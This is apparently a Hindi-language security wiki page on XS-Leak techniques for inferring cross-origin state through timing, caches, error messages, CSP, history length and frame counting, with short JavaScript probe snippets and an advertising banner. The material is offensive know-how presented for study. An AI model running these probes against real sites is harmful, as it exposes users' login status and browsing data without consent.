हमने एक XS-Leak उदाहरण पाया जो कुछ ब्राउज़रों के व्यवहार का दुरुपयोग करता है जो क्रॉस-ओरिजिन अनुरोधों के लिए बहुत अधिक जानकारी लॉग करते हैं। मानक एक उपसमुच्चय विशेषताओं को शून्य पर सेट करने के लिए परिभाषित करता है जो क्रॉस-ओरिजिन संसाधनों के लिए होनी चाहिए। हालाँकि, SA में यह पता लगाना संभव है कि क्या उपयोगकर्ता लक्ष्य पृष्ठ द्वारा रीडायरेक्ट किया गया है, Performance API को क्वेरी करके और redirectStart समय डेटा की जांच करके।

Duration Redirect Leak

GC में, रीडायरेक्ट के परिणामस्वरूप अनुरोधों के लिए अवधि नकारात्मक होती है और इस प्रकार इसे अलग किया जा सकता है उन अनुरोधों से जो रीडायरेक्ट का परिणाम नहीं देते हैं।

CORP Leak

कुछ मामलों में, nextHopProtocol प्रविष्टि को लीक तकनीक के रूप में उपयोग किया जा सकता है। GC में, जब CORP हेडर सेट होता है, तो nextHopProtocol खाली होगा। ध्यान दें कि SA CORP-सक्षम संसाधनों के लिए प्रदर्शन प्रविष्टि नहीं बनाएगा।

Service Worker

सेवा कार्यकर्ता इवेंट-चालित स्क्रिप्ट संदर्भ होते हैं जो एक मूल पर चलते हैं। वे एक वेब पृष्ठ के बैकग्राउंड में चलते हैं और संसाधनों को इंटरसेप्ट, संशोधित और कैश कर सकते हैं ताकि ऑफ़लाइन वेब एप्लिकेशन बनाया जा सके।
यदि एक संसाधन कैश किया गया है एक सेवा कार्यकर्ता द्वारा, तो इसे iframe के माध्यम से एक्सेस किया जाएगा, संसाधन सेवा कार्यकर्ता कैश से लोड होगा।
यह पता लगाने के लिए कि क्या संसाधन सेवा कार्यकर्ता कैश से लोड किया गया था, Performance API का उपयोग किया जा सकता है।
यह एक टाइमिंग हमले के साथ भी किया जा सकता है (अधिक जानकारी के लिए पेपर की जांच करें)।

Cache

Performance API का उपयोग करके यह जांचना संभव है कि क्या एक संसाधन कैश में है।

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

The MediaError इंटरफेस का संदेश प्रॉपर्टी उन संसाधनों की अद्वितीय पहचान करता है जो एक विशिष्ट स्ट्रिंग के साथ सफलतापूर्वक लोड होते हैं। एक हमलावर इस विशेषता का लाभ उठाकर संदेश सामग्री का अवलोकन कर सकता है, जिससे वह क्रॉस-ओरिजिन संसाधन की प्रतिक्रिया स्थिति का अनुमान लगा सकता है।

CORS Error

  • Inclusion Methods: Fetch API
  • Detectable Difference: Header
  • More info: https://xsinator.com/paper.pdf (5.3)
  • Summary: सुरक्षा आश्वासन (SA) में, CORS त्रुटि संदेश अनजाने में पुनर्निर्देशित अनुरोधों का पूरा URL उजागर करते हैं।
  • Code Example: https://xsinator.com/testing.html#CORS%20Error%20Leak

यह तकनीक एक हमलावर को क्रॉस-ओरिजिन साइट के पुनर्निर्देश का गंतव्य निकालने की अनुमति देती है, जो यह दर्शाती है कि Webkit-आधारित ब्राउज़र CORS अनुरोधों को कैसे संभालते हैं। विशेष रूप से, जब एक CORS-सक्षम अनुरोध को एक लक्षित साइट पर भेजा जाता है जो उपयोगकर्ता स्थिति के आधार पर पुनर्निर्देशित करती है और ब्राउज़र बाद में अनुरोध को अस्वीकार करता है, तो पुनर्निर्देश के लक्ष्य का पूरा URL त्रुटि संदेश के भीतर प्रकट होता है। यह भेद्यता न केवल पुनर्निर्देश के तथ्य को उजागर करती है बल्कि पुनर्निर्देश के अंत बिंदु और किसी भी संवेदनशील क्वेरी पैरामीटर को भी उजागर करती है जो इसमें हो सकते हैं।

SRI Error

  • Inclusion Methods: Fetch API
  • Detectable Difference: Header
  • More info: https://xsinator.com/paper.pdf (5.3)
  • Summary: सुरक्षा आश्वासन (SA) में, CORS त्रुटि संदेश अनजाने में पुनर्निर्देशित अनुरोधों का पूरा URL उजागर करते हैं।
  • Code Example: https://xsinator.com/testing.html#SRI%20Error%20Leak

एक हमलावर विस्तृत त्रुटि संदेशों का लाभ उठाकर क्रॉस-ओरिजिन प्रतिक्रियाओं के आकार का अनुमान लगा सकता है। यह Subresource Integrity (SRI) के तंत्र के कारण संभव है, जो यह सुनिश्चित करने के लिए अखंडता विशेषता का उपयोग करता है कि संसाधन, जो अक्सर CDNs से लाए जाते हैं, में छेड़छाड़ नहीं की गई है। SRI को क्रॉस-ओरिजिन संसाधनों पर काम करने के लिए, इन्हें CORS-सक्षम होना चाहिए; अन्यथा, ये अखंडता जांच के अधीन नहीं होते। सुरक्षा आश्वासन (SA) में, CORS त्रुटि XS-Leak की तरह, एक त्रुटि संदेश को एक अखंडता विशेषता के साथ एक फ़ेच अनुरोध के बाद कैप्चर किया जा सकता है जो विफल हो जाता है। हमलावर जानबूझकर इस त्रुटि को ट्रिगर कर सकते हैं किसी भी अनुरोध की अखंडता विशेषता में बोगस हैश मान असाइन करके। SA में, परिणामी त्रुटि संदेश अनजाने में अनुरोधित संसाधन की सामग्री लंबाई को प्रकट करता है। यह जानकारी लीक एक हमलावर को प्रतिक्रिया के आकार में भिन्नताओं का पता लगाने की अनुमति देती है, जो परिष्कृत XS-Leak हमलों के लिए रास्ता प्रशस्त करती है।

CSP Violation/Detection

एक XS-Leak CSP का उपयोग कर यह पता लगा सकता है कि क्या एक क्रॉस-ओरिजिन साइट को एक अलग मूल पर पुनर्निर्देशित किया गया था। यह लीक पुनर्निर्देश का पता लगा सकता है, लेकिन इसके अतिरिक्त, पुनर्निर्देश लक्ष्य का डोमेन भी लीक करता है। इस हमले का मूल विचार है हमलावर साइट पर लक्षित डोमेन की अनुमति देना। एक बार जब लक्षित डोमेन पर एक अनुरोध जारी किया जाता है, तो यह पुनर्निर्देशित होता है एक क्रॉस-ओरिजिन डोमेन पर। CSP इसके लिए पहुंच को अवरुद्ध करता है और एक उल्लंघन रिपोर्ट बनाता है जो लीक तकनीक के रूप में उपयोग की जाती है। ब्राउज़र के आधार पर, यह रिपोर्ट पुनर्निर्देश के लक्ष्य स्थान को लीक कर सकती है।
आधुनिक ब्राउज़र यह नहीं बताएंगे कि इसे किस URL पर पुनर्निर्देशित किया गया था, लेकिन आप अभी भी यह पता लगा सकते हैं कि एक क्रॉस-ओरिजिन पुनर्निर्देश को ट्रिगर किया गया था।

Cache

ब्राउज़र सभी वेबसाइटों के लिए एक साझा कैश का उपयोग कर सकते हैं। उनके मूल की परवाह किए बिना, यह पता लगाना संभव है कि क्या लक्षित पृष्ठ ने विशिष्ट फ़ाइल का अनुरोध किया है।

यदि एक पृष्ठ केवल तभी एक छवि लोड करता है जब उपयोगकर्ता लॉग इन होता है, तो आप संसाधन को अमान्य कर सकते हैं (ताकि यह अब कैश में न हो, अधिक जानकारी लिंक देखें), एक अनुरोध करें जो उस संसाधन को लोड कर सकता है और खराब अनुरोध के साथ संसाधन लोड करने की कोशिश करें (जैसे, एक लंबे संदर्भ हेडर का उपयोग करके)। यदि संसाधन लोड किसी त्रुटि को ट्रिगर नहीं करता है, तो इसका मतलब है कि यह कैश किया गया था।

CSP Directive

Google Chrome (GC) में एक नया फीचर वेब पृष्ठों को एक सामग्री सुरक्षा नीति (CSP) प्रस्तावित करने की अनुमति देता है, जो iframe तत्व पर एक विशेषता सेट करके किया जाता है, जिसमें नीति निर्देश HTTP अनुरोध के साथ भेजे जाते हैं। सामान्यतः, अंतर्निहित सामग्री को इसका अधिकृत करना चाहिए HTTP हेडर के माध्यम से, या एक त्रुटि पृष्ठ प्रदर्शित होता है। हालाँकि, यदि iframe पहले से ही CSP द्वारा शासित है और प्रस्तावित नीति अधिक प्रतिबंधात्मक नहीं है, तो पृष्ठ सामान्य रूप से लोड होगा। यह तंत्र एक हमलावर को क्रॉस-ओरिजिन पृष्ठ के विशिष्ट CSP निर्देशों का पता लगाने के लिए एक मार्ग खोलता है, त्रुटि पृष्ठ की पहचान करके। हालांकि इस भेद्यता को ठीक किया गया था, हमारे निष्कर्ष एक नए लीक तकनीक का पता लगाते हैं जो त्रुटि पृष्ठ का पता लगाने में सक्षम है, यह सुझाव देते हुए कि अंतर्निहित समस्या को कभी पूरी तरह से संबोधित नहीं किया गया था।

CORP

CORP हेडर एक अपेक्षाकृत नया वेब प्लेटफ़ॉर्म सुरक्षा फीचर है जो सेट होने पर दिए गए संसाधन के लिए नो-CORS क्रॉस-ओरिजिन अनुरोधों को अवरुद्ध करता है। हेडर की उपस्थिति का पता लगाया जा सकता है, क्योंकि CORP के साथ सुरक्षित संसाधन लाए जाने पर त्रुटि फेंकेंगे।

CORB

हमले के बारे में अधिक जानकारी के लिए लिंक देखें।

CORS error on Origin Reflection misconfiguration

यदि Origin हेडर को Access-Control-Allow-Origin हेडर में परावर्तित किया जा रहा है, तो एक हमलावर इस व्यवहार का दुरुपयोग कर CORS मोड में संसाधन को लाने की कोशिश कर सकता है। यदि त्रुटि ट्रिगर नहीं होती है, तो इसका मतलब है कि इसे वेब से सही तरीके से प्राप्त किया गया था, यदि त्रुटि ट्रिगर होती है, तो इसका मतलब है कि इसे कैश से एक्सेस किया गया था (त्रुटि इसलिए प्रकट होती है क्योंकि कैश एक प्रतिक्रिया को CORS हेडर के साथ बचाता है जो मूल डोमेन की अनुमति देता है और हमलावर के डोमेन की नहीं)**।
ध्यान दें कि यदि मूल परावर्तित नहीं होता है लेकिन एक वाइल्डकार्ड का उपयोग किया जाता है (Access-Control-Allow-Origin: *), तो यह काम नहीं करेगा।

Readable Attributes Technique

Fetch Redirect

redirect: "manual" और अन्य पैरामीटर के साथ Fetch API का उपयोग करके एक अनुरोध सबमिट करने पर, response.type विशेषता को पढ़ना संभव है और यदि यह opaqueredirect के बराबर है, तो प्रतिक्रिया एक पुनर्निर्देश थी।

COOP

एक हमलावर क्रॉस-ओरिजिन HTTP प्रतिक्रिया में क्रॉस-ओरिजिन ओपनर नीति (COOP) हेडर की उपस्थिति का अनुमान लगा सकता है। COOP का उपयोग वेब अनुप्रयोगों द्वारा बाहरी साइटों को मनमाने विंडो संदर्भ प्राप्त करने से रोकने के लिए किया जाता है। इस हेडर की दृश्यता को contentWindow संदर्भ तक पहुंचने का प्रयास करके पहचाना जा सकता है। उन परिदृश्यों में जहां COOP को शर्तों के अनुसार लागू किया जाता है, opener प्रॉपर्टी एक स्पष्ट संकेतक बन जाती है: यह COOP सक्रिय होने पर undefined होती है, और इसके अभाव में defined होती है।

URL Max Length - Server Side

  • Inclusion Methods: Fetch API, HTML Elements
  • Detectable Difference: Status Code / Content
  • More info: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
  • Summary: पुनर्निर्देश प्रतिक्रिया की लंबाई के कारण प्रतिक्रियाओं में भिन्नताओं का पता लगाना संभव है, जो इतनी बड़ी हो सकती है कि सर्वर त्रुटि के साथ पुनः खेलता है और एक अलर्ट उत्पन्न होता है।
  • Code Example: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak

यदि सर्वर-साइड पुनर्निर्देश पुनर्निर्देश में उपयोगकर्ता इनपुट और अतिरिक्त डेटा का उपयोग करता है। इस व्यवहार का पता लगाना संभव है क्योंकि सामान्यतः सर्वर की सीमा अनुरोध लंबाई होती है। यदि उपयोगकर्ता डेटा लंबाई - 1 है, क्योंकि पुनर्निर्देश उस डेटा का उपयोग कर रहा है और कुछ अतिरिक्त जोड़ रहा है, तो यह त्रुटि को ट्रिगर करेगा जिसे त्रुटि घटनाओं के माध्यम से पता लगाया जा सकता है।

यदि आप किसी तरह उपयोगकर्ता को कुकीज़ सेट कर सकते हैं, तो आप इस हमले को पर्याप्त कुकीज़ सेट करके भी कर सकते हैं (कुकी बम) ताकि सही प्रतिक्रिया के बढ़े हुए आकार के साथ एक त्रुटि ट्रिगर हो। इस मामले में, याद रखें कि यदि आप इस अनुरोध को एक ही साइट से ट्रिगर करते हैं, तो <script> स्वचालित रूप से कुकीज़ भेजेगा (ताकि आप त्रुटियों की जांच कर सकें)।
कुकी बम + XS-Search का एक उदाहरण इस लेख के इरादित समाधान में पाया जा सकता है: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None या एक ही संदर्भ में होना इस प्रकार के हमले के लिए सामान्यतः आवश्यक है।

URL Max Length - Client Side

Chromium दस्तावेज़ के अनुसार, Chrome की अधिकतम URL लंबाई 2MB है।

सामान्यतः, वेब प्लेटफ़ॉर्म URL की लंबाई पर सीमाएँ नहीं रखता (हालांकि 2^31 एक सामान्य सीमा है)। Chrome व्यावहारिक कारणों से और अंतःप्रक्रिया संचार में सेवा से इनकार की समस्याओं से बचने के लिए URLs को अधिकतम लंबाई 2MB तक सीमित करता है।

इसलिए यदि पुनर्निर्देश URL में एक मामले में बड़ा उत्तर दिया गया है, तो इसे 2MB से बड़ा URL के साथ पुनर्निर्देशित करना संभव है ताकि लंबाई सीमा को हिट किया जा सके। जब ऐसा होता है, तो Chrome एक about:blank#blocked पृष्ठ दिखाता है।

ध्यान देने योग्य भिन्नता यह है कि यदि पुनर्निर्देश पूर्ण था, तो window.origin एक त्रुटि फेंकता है क्योंकि एक क्रॉस ओरिजिन उस जानकारी तक पहुंच नहीं सकता। हालाँकि, यदि सीमा हिट की गई थी और लोड किया गया पृष्ठ about:blank#blocked था, तो विंडो का origin मूल के रूप में बना रहता है, जो एक सुलभ जानकारी है।

2MB तक पहुँचने के लिए आवश्यक सभी अतिरिक्त जानकारी को प्रारंभिक URL में एक हैश के माध्यम से जोड़ा जा सकता है ताकि इसे पुनर्निर्देश में उपयोग किया जा सके।

{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

Max Redirects

यदि एक ब्राउज़र के लिए अनुक्रमित पुनर्निर्देशों की अधिकतम संख्या 20 है, तो एक हमलावर 19 पुनर्निर्देशों के साथ अपने पृष्ठ को लोड करने की कोशिश कर सकता है और अंततः पीड़ित को परीक्षण किए गए पृष्ठ पर भेज सकता है। यदि एक त्रुटि ट्रिगर होती है, तो इसका मतलब है कि पृष्ठ पीड़ित को पुनर्निर्देशित करने की कोशिश कर रहा था।

History Length

History API JavaScript कोड को ब्राउज़र इतिहास में हेरफेर करने की अनुमति देता है, जो उपयोगकर्ता द्वारा देखे गए पृष्ठों को सहेजता है। एक हमलावर लंबाई प्रॉपर्टी का उपयोग एक समावेशन विधि के रूप में कर सकता है: JavaScript और HTML नेविगेशन का पता लगाने के लिए।
history.length की जांच करना, एक उपयोगकर्ता को एक पृष्ठ पर नेविगेट करने के लिए कहना, इसे वापस उसी मूल पर बदलना और history.length के नए मान की जांच करना।

History Length with same URL

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: यदि URL अनुमानित URL के समान है
  • Summary: यह अनुमान लगाना संभव है कि क्या एक फ्रेम/पॉप-अप का स्थान एक विशिष्ट URL में है, इतिहास की लंबाई का दुरुपयोग करके।
  • Code Example: नीचे

एक हमलावर JavaScript कोड का उपयोग करके फ्रेम/पॉप-अप स्थान को अनुमानित URL में हेरफेर कर सकता है और तुरंत इसे about:blank में बदल सकता है। यदि इतिहास की लंबाई बढ़ गई है, तो इसका मतलब है कि URL सही था और इसे बढ़ने का समय मिला क्योंकि यदि URL वही है तो इसे फिर से लोड नहीं किया जाता। यदि यह नहीं बढ़ा, तो इसका मतलब है कि यह अनुमानित URL को लोड करने की कोशिश की गई थी, लेकिन क्योंकि हम तुरंत बाद में about:blank लोड करते हैं, इतिहास की लंबाई कभी नहीं बढ़ी जब अनुमानित URL लोड किया गया।

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting

iframe या window.open के माध्यम से खोले गए वेब में फ्रेम की संख्या की गणना करना उपयोगकर्ता की स्थिति की पहचान करने में मदद कर सकता है।
इसके अलावा, यदि पृष्ठ में हमेशा समान संख्या में फ्रेम होते हैं, तो फ्रेम की संख्या की निरंतर जांच करना एक पैटर्न की पहचान करने में मदद कर सकता है जो जानकारी लीक कर सकता है।

इस तकनीक का एक उदाहरण यह है कि क्रोम में, एक PDF को फ्रेम गिनती के साथ पता लगाया जा सकता है क्योंकि आंतरिक रूप से embed का उपयोग किया जाता है। कुछ कंटेंट पर नियंत्रण की अनुमति देने वाले Open URL Parameters हैं जैसे zoom, view, page, toolbar जहां यह तकनीक दिलचस्प हो सकती है।

HTMLElements

HTML तत्वों के माध्यम से जानकारी का लीक होना वेब सुरक्षा में एक चिंता का विषय है, विशेष रूप से जब उपयोगकर्ता की जानकारी के आधार पर गतिशील मीडिया फ़ाइलें उत्पन्न की जाती हैं, या जब वॉटरमार्क जोड़े जाते हैं, जिससे मीडिया का आकार बदलता है। हमलावर इस जानकारी का विश्लेषण करके संभावित राज्यों के बीच भेद करने के लिए इसका लाभ उठा सकते हैं।

Information Exposed by HTML Elements

  • HTMLMediaElement: यह तत्व मीडिया की duration और buffered समय को प्रकट करता है, जिसे इसके API के माध्यम से एक्सेस किया जा सकता है। HTMLMediaElement के बारे में अधिक पढ़ें
  • HTMLVideoElement: यह videoHeight और videoWidth को प्रकट करता है। कुछ ब्राउज़रों में, webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, और webkitDecodedFrameCount जैसे अतिरिक्त प्रॉपर्टीज उपलब्ध हैं, जो मीडिया सामग्री के बारे में अधिक गहन जानकारी प्रदान करते हैं। HTMLVideoElement के बारे में अधिक पढ़ें
  • getVideoPlaybackQuality(): यह फ़ंक्शन वीडियो प्लेबैक गुणवत्ता के बारे में विवरण प्रदान करता है, जिसमें totalVideoFrames शामिल है, जो वीडियो डेटा की मात्रा को इंगित कर सकता है। getVideoPlaybackQuality() के बारे में अधिक पढ़ें
  • HTMLImageElement: यह तत्व एक छवि की height और width को लीक करता है। हालाँकि, यदि एक छवि अमान्य है, तो ये प्रॉपर्टीज 0 लौटाएंगी, और image.decode() फ़ंक्शन अस्वीकृत हो जाएगा, जो यह संकेत करता है कि छवि को सही तरीके से लोड करने में विफलता हुई। HTMLImageElement के बारे में अधिक पढ़ें

CSS Property

वेब अनुप्रयोग उपयोगकर्ता की स्थिति के आधार पर वेबसाइट स्टाइलिंग को बदल सकते हैं। क्रॉस-ओरिजिन CSS फ़ाइलों को HTML लिंक तत्व के साथ हमलावर पृष्ठ पर एम्बेड किया जा सकता है, और नियम हमलावर पृष्ठ पर लागू किए जाएंगे। यदि एक पृष्ठ गतिशील रूप से इन नियमों को बदलता है, तो एक हमलावर उपयोगकर्ता की स्थिति के आधार पर इन भिन्नताओं का पता लगा सकता है।
एक लीक तकनीक के रूप में, हमलावर window.getComputedStyle विधि का उपयोग करके एक विशिष्ट HTML तत्व की CSS प्रॉपर्टीज़ को पढ़ सकता है। परिणामस्वरूप, यदि प्रभावित तत्व और प्रॉपर्टी का नाम ज्ञात है, तो एक हमलावर मनमाने CSS प्रॉपर्टीज़ को पढ़ सकता है।

CSS History

{% hint style="info" %} यहाँ के अनुसार, यह हेडलेस क्रोम में काम नहीं कर रहा है। {% endhint %}

CSS :visited चयनकर्ता का उपयोग URLs को अलग तरीके से स्टाइल करने के लिए किया जाता है यदि उन्हें उपयोगकर्ता द्वारा पहले देखा गया हो। पहले, getComputedStyle() विधि का उपयोग इन स्टाइल भिन्नताओं की पहचान करने के लिए किया जा सकता था। हालाँकि, आधुनिक ब्राउज़रों ने इस विधि को लिंक की स्थिति को प्रकट करने से रोकने के लिए सुरक्षा उपाय लागू किए हैं। इन उपायों में हमेशा यह लौटाना शामिल है कि जैसे लिंक को देखा गया हो और :visited चयनकर्ता के साथ लागू की जा सकने वाली शैलियों को प्रतिबंधित करना शामिल है।

इन प्रतिबंधों के बावजूद, यह अप्रत्यक्ष रूप से लिंक की देखी गई स्थिति का पता लगाने के लिए संभव है। एक तकनीक में उपयोगकर्ता को CSS से प्रभावित क्षेत्र के साथ बातचीत करने के लिए धोखा देना शामिल है, विशेष रूप से mix-blend-mode प्रॉपर्टी का उपयोग करना। यह प्रॉपर्टी तत्वों को उनके पृष्ठभूमि के साथ मिश्रित करने की अनुमति देती है, संभावित रूप से उपयोगकर्ता की बातचीत के आधार पर देखी गई स्थिति को प्रकट करती है।

इसके अलावा, लिंक के रेंडरिंग समय का लाभ उठाकर बिना उपयोगकर्ता की बातचीत के पता लगाया जा सकता है। चूंकि ब्राउज़र देखे गए और न देखे गए लिंक को अलग-अलग तरीके से रेंडर कर सकते हैं, इससे रेंडरिंग में मापने योग्य समय का अंतर आ सकता है। एक प्रमाणित अवधारणा (PoC) का उल्लेख एक क्रोमियम बग रिपोर्ट में किया गया था, जो इस तकनीक को कई लिंक का उपयोग करके समय के अंतर को बढ़ाने के लिए प्रदर्शित करता है, जिससे देखी गई स्थिति को समय विश्लेषण के माध्यम से पता लगाया जा सकता है।

इन प्रॉपर्टीज़ और विधियों के बारे में अधिक जानकारी के लिए, उनके दस्तावेज़ पृष्ठों पर जाएँ:

ContentDocument X-Frame Leak

क्रोम में, यदि X-Frame-Options हेडर "deny" या "same-origin" पर सेट किया गया है और इसे एक ऑब्जेक्ट के रूप में एम्बेड किया गया है, तो एक त्रुटि पृष्ठ दिखाई देता है। क्रोम इस ऑब्जेक्ट के contentDocument प्रॉपर्टी के लिए एक खाली दस्तावेज़ ऑब्जेक्ट (null के बजाय) लौटाता है, जो कि iframe या अन्य ब्राउज़रों में नहीं होता है। हमलावर इसका लाभ उठाकर खाली दस्तावेज़ का पता लगा सकते हैं, जो उपयोगकर्ता की स्थिति के बारे में जानकारी प्रकट कर सकता है, विशेष रूप से यदि डेवलपर्स असंगत रूप से X-Frame-Options हेडर सेट करते हैं, अक्सर त्रुटि पृष्ठों को नजरअंदाज करते हैं। सुरक्षा हेडर के प्रति जागरूकता और सुसंगत अनुप्रयोग महत्वपूर्ण हैं ताकि ऐसे लीक को रोका जा सके।

Download Detection

Content-Disposition हेडर, विशेष रूप से Content-Disposition: attachment, ब्राउज़र को सामग्री को डाउनलोड करने के लिए निर्देशित करता है न कि इसे इनलाइन प्रदर्शित करने के लिए। इस व्यवहार का लाभ उठाकर यह पता लगाया जा सकता है कि क्या उपयोगकर्ता के पास एक पृष्ठ तक पहुंच है जो फ़ाइल डाउनलोड को ट्रिगर करता है। क्रोमियम-आधारित ब्राउज़रों में, इस डाउनलोड व्यवहार का पता लगाने के लिए कुछ तकनीकें हैं:

  1. डाउनलोड बार मॉनिटरिंग:
  • जब एक फ़ाइल क्रोमियम-आधारित ब्राउज़रों में डाउनलोड की जाती है, तो ब्राउज़र विंडो के नीचे एक डाउनलोड बार दिखाई देता है।
  • विंडो की ऊँचाई में परिवर्तनों की निगरानी करके, हमलावर डाउनलोड बार के प्रकट होने का अनुमान लगा सकते हैं, यह सुझाव देते हुए कि एक डाउनलोड शुरू किया गया है।
  1. iframe के साथ डाउनलोड नेविगेशन:
  • जब एक पृष्ठ Content-Disposition: attachment हेडर का उपयोग करके फ़ाइल डाउनलोड को ट्रिगर करता है, तो यह एक नेविगेशन इवेंट का कारण नहीं बनता है।
  • सामग्री को एक iframe में लोड करके और नेविगेशन इवेंट्स की निगरानी करके, यह जांचना संभव है कि क्या सामग्री का निपटान फ़ाइल डाउनलोड का कारण बनता है (कोई नेविगेशन नहीं) या नहीं।
  1. iframe के बिना डाउनलोड नेविगेशन:
  • iframe तकनीक के समान, यह विधि window.open का उपयोग करने में शामिल है।
  • नए खोले गए विंडो में नेविगेशन इवेंट्स की निगरानी करके यह पता लगाया जा सकता है कि क्या फ़ाइल डाउनलोड को ट्रिगर किया गया था (कोई नेविगेशन नहीं) या यदि सामग्री इनलाइन प्रदर्शित की गई है (नेविगेशन होता है)।

उन परिदृश्यों में जहां केवल लॉगिन किए गए उपयोगकर्ता ऐसे डाउनलोड को ट्रिगर कर सकते हैं, इन तकनीकों का उपयोग उपयोगकर्ता की प्रमाणीकरण स्थिति का अप्रत्यक्ष रूप से अनुमान लगाने के लिए किया जा सकता है।

Partitioned HTTP Cache Bypass

{% hint style="warning" %} यह इस तकनीक को दिलचस्प बनाता है: क्रोम अब कैश विभाजन करता है, और नए खोले गए पृष्ठ का कैश कुंजी है: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), लेकिन यदि मैं एक ngrok पृष्ठ खोलता हूँ और इसका उपयोग करता हूँ, तो कैश कुंजी होगी: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), कैश कुंजी अलग है, इसलिए कैश साझा नहीं किया जा सकता। आप यहाँ अधिक विवरण पा सकते हैं: कैश को विभाजित करके सुरक्षा और गोपनीयता प्राप्त करना
(यहाँ से टिप्पणी) {% endhint %}

यदि एक साइट example.com *.example.com/resource से एक संसाधन शामिल करती है, तो वह संसाधन उसी कैशिंग कुंजी के साथ होगा जैसे कि यदि संसाधन को सीधे शीर्ष स्तर की नेविगेशन के माध्यम से अनुरोध किया गया हो। इसका कारण यह है कि कैशिंग कुंजी शीर्ष स्तर के eTLD+1 और फ्रेम eTLD+1 से बनी होती है।

क्योंकि कैश तक पहुंचना संसाधन को लोड करने की तुलना में तेज़ है, यह संभव है कि एक पृष्ठ के स्थान को बदलने का प्रयास करें और इसे 20ms (उदाहरण के लिए) के बाद रद्द करें। यदि रोकने के बाद मूल बदल गया, तो इसका मतलब है कि संसाधन कैश किया गया था।
या बस संभावित रूप से कैश किए गए पृष्ठ पर कुछ फ़ेच भेजें और यह मापें कि इसमें कितना समय लगता है।

Manual Redirect

Fetch with AbortController

fetch और setTimeout का उपयोग करें एक AbortController के साथ यह पता लगाने के लिए कि संसाधन कैश किया गया है और ब्राउज़र कैश से एक विशिष्ट संसाधन को निकालने के लिए। इसके अलावा, यह प्रक्रिया नए सामग्री को कैश किए बिना होती है।

Script Pollution

  • Inclusion Methods: HTML Elements (script)
  • Detectable Difference: Page Content
  • More info: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
  • Summary: यह संभव है कि निर्मित कार्यों को ओवरराइट करें और उनके तर्कों को पढ़ें जो कि क्रॉस-ओरिजिन स्क्रिप्ट से भी हैं (जिसे सीधे नहीं पढ़ा जा सकता), यह मूल्यवान जानकारी लीक कर सकता है।
  • Code Example: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag

Service Workers

दी गई स्थिति में, हमलावर अपने एक डोमेन में एक सेवा श्रमिक को पंजीकृत करने की पहल करता है, विशेष रूप से "attacker.com"। इसके बाद, हमलावर मुख्य दस्तावेज़ से लक्षित वेबसाइट में एक नई विंडो खोलता है और सेवा श्रमिक को एक टाइमर शुरू करने के लिए निर्देशित करता है। जैसे ही नई विंडो लोड होना शुरू होती है, हमलावर पिछले चरण में प्राप्त संदर्भ को सेवा श्रमिक द्वारा प्रबंधित पृष्ठ पर नेविगेट करता है।

पिछले चरण में शुरू किए गए अनुरोध के आगमन पर, सेवा श्रमिक 204 (No Content) स्थिति कोड के साथ प्रतिक्रिया करता है, प्रभावी रूप से नेविगेशन प्रक्रिया को समाप्त करता है। इस बिंदु पर, सेवा श्रमिक पहले चरण में शुरू किए गए टाइमर से एक माप कैप्चर करता है। यह माप उस अवधि से प्रभावित होता है जो नेविगेशन प्रक्रिया में देरी का कारण बनती है।

{% hint style="warning" %} एक निष्पादन समय में, यह नेटवर्क कारकों को समाप्त करना संभव है ताकि अधिक सटीक माप प्राप्त किया जा सके। उदाहरण के लिए, पृष्ठ द्वारा उपयोग किए जाने वाले संसाधनों को लोड करने से पहले लोड करना। {% endhint %}

Fetch Timing

Cross-Window Timing


Trickest का उपयोग करें ताकि आसानी से वर्कफ़्लो का निर्माण और स्वचालित किया जा सके जो दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित हो।
आज ही एक्सेस प्राप्त करें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

With HTML or Re Injection

यहाँ आप क्रॉस-ओरिजिन HTML से जानकारी निकालने की तकनीकें पा सकते हैं HTML सामग्री को इंजेक्ट करके। ये तकनीकें उन मामलों में दिलचस्प हैं जहां किसी भी कारण से आप HTML इंजेक्ट कर सकते हैं लेकिन आप JS कोड इंजेक्ट नहीं कर सकते।

Dangling Markup

{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

Image Lazy Loading

यदि आपको सामग्री निकालने की आवश्यकता है और आप गुप्त के पहले HTML जोड़ सकते हैं, तो आपको सामान्य लटकते मार्कअप तकनीकों की जांच करनी चाहिए।
